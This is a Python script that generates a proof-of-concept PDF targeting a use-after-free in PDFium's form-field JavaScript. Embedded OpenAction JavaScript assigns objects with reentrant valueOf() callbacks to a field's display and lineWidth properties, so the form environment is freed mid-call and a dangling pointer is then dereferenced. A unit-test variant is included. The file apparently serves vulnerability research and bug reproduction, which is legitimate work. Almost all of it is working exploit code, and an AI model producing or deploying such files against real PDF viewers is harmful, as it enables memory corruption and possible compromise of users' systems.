#!/usr/bin/env python3
"""
Generate a PDF that exercises CJS_Field::set_display / set_line_width with
an object whose valueOf() calls back into the embedder (app.alert) before
returning an integer.

In the ASAN Clang build, set_display() captures form_fill_env_.Get() into a
register BEFORE invoking ToInt32(vp) (which runs valueOf()).  If the embedder
destroys the CPDFSDK_FormFillEnvironment during the callback, SetDisplay()
dereferences a dangling pointer.
"""

import sys

# Variant for the embedder unit test: valueOf() calls f.browseForFileToSubmit()
# which dispatches to the embedder's IPDF_JSPLATFORM::Field_browse callback.
# That callback (only in the unit test) destroys the FormFillEnvironment.
# The return path from browseForFileToSubmit() does not touch pRuntime/env, so
# control returns cleanly to set_display() which then calls
# SetDisplay(stale_env, ...).
JS_UNIT = r"""
var f = this.getField("F");
f.display = {
  valueOf: function() {
    try { f.browseForFileToSubmit(); } catch (e) {}
    return 0;
  }
};
"""

JS = r"""
try {
  var f = this.getField("F");
  app.alert("[poc] reached set_display call site, f=" + f);
  // Object with reentrant valueOf(): runs attacker JS during ToInt32(vp)
  // while form_fill_env_.Get() has already been captured into a register.
  var evil = {
    valueOf: function() {
      // Embedder callback during argument evaluation.  In Chrome's
      // production embedding this is a synchronous IPC; in the unit-test
      // embedder the Alert() delegate frees the FormFillEnvironment here.
      app.alert("FREE-ENV");
      // Additional teardown attempts (no-ops in Chrome, but exercise paths):
      try { this.closeDoc(); } catch (e) {}
      return 0;
    }
  };
  f.display = evil;      // CJS_Field::set_display -> SetDisplay(stale_env, ...)
  f.lineWidth = evil;    // CJS_Field::set_line_width -> SetLineWidth(stale_env, ...)
  app.alert("[poc] set_display returned without crashing");
} catch (e) {
  app.alert("[poc] exception: " + e);
}
"""

def make_pdf(js_src=JS):
    objs = {}
    # 1: Catalog
    objs[1] = b"<< /Type /Catalog /Pages 2 0 R /AcroForm 4 0 R /OpenAction 6 0 R >>"
    # 2: Pages
    objs[2] = b"<< /Type /Pages /Count 1 /Kids [3 0 R] >>"
    # 3: Page
    objs[3] = b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [5 0 R] >>"
    # 4: AcroForm
    objs[4] = b"<< /Fields [5 0 R] >>"
    # 5: Text widget field "F" (Ff bit 21 = kTextFileSelect so
    #    browseForFileToSubmit() reaches the embedder Field_browse callback).
    objs[5] = (b"<< /Type /Annot /Subtype /Widget /FT /Tx /T (F) "
               b"/Ff 1048576 /Rect [100 100 300 130] /V () >>")
    # 6: OpenAction JavaScript
    js_bytes = js_src.encode("latin-1")
    objs[6] = (b"<< /Type /Action /S /JavaScript /JS 7 0 R >>")
    # 7: JS stream
    objs[7] = (b"<< /Length %d >>\nstream\n" % len(js_bytes)) + js_bytes + b"\nendstream"

    out = bytearray(b"%PDF-1.6\n%\xe2\xe3\xcf\xd3\n")
    offsets = {}
    for i in sorted(objs):
        offsets[i] = len(out)
        out += b"%d 0 obj\n" % i
        out += objs[i]
        out += b"\nendobj\n"
    xref_off = len(out)
    n = max(objs) + 1
    out += b"xref\n0 %d\n" % n
    out += b"0000000000 65535 f \n"
    for i in range(1, n):
        out += b"%010d 00000 n \n" % offsets[i]
    out += b"trailer\n<< /Size %d /Root 1 0 R >>\n" % n
    out += b"startxref\n%d\n%%%%EOF\n" % xref_off
    return bytes(out)

if __name__ == "__main__":
    fn = sys.argv[1] if len(sys.argv) > 1 else "poc.pdf"
    variant = sys.argv[2] if len(sys.argv) > 2 else "chrome"
    data = make_pdf(JS_UNIT if variant == "unit" else JS)
    with open(fn, "wb") as f:
        f.write(data)
    print(f"wrote {fn} ({len(data)} bytes, variant={variant})")
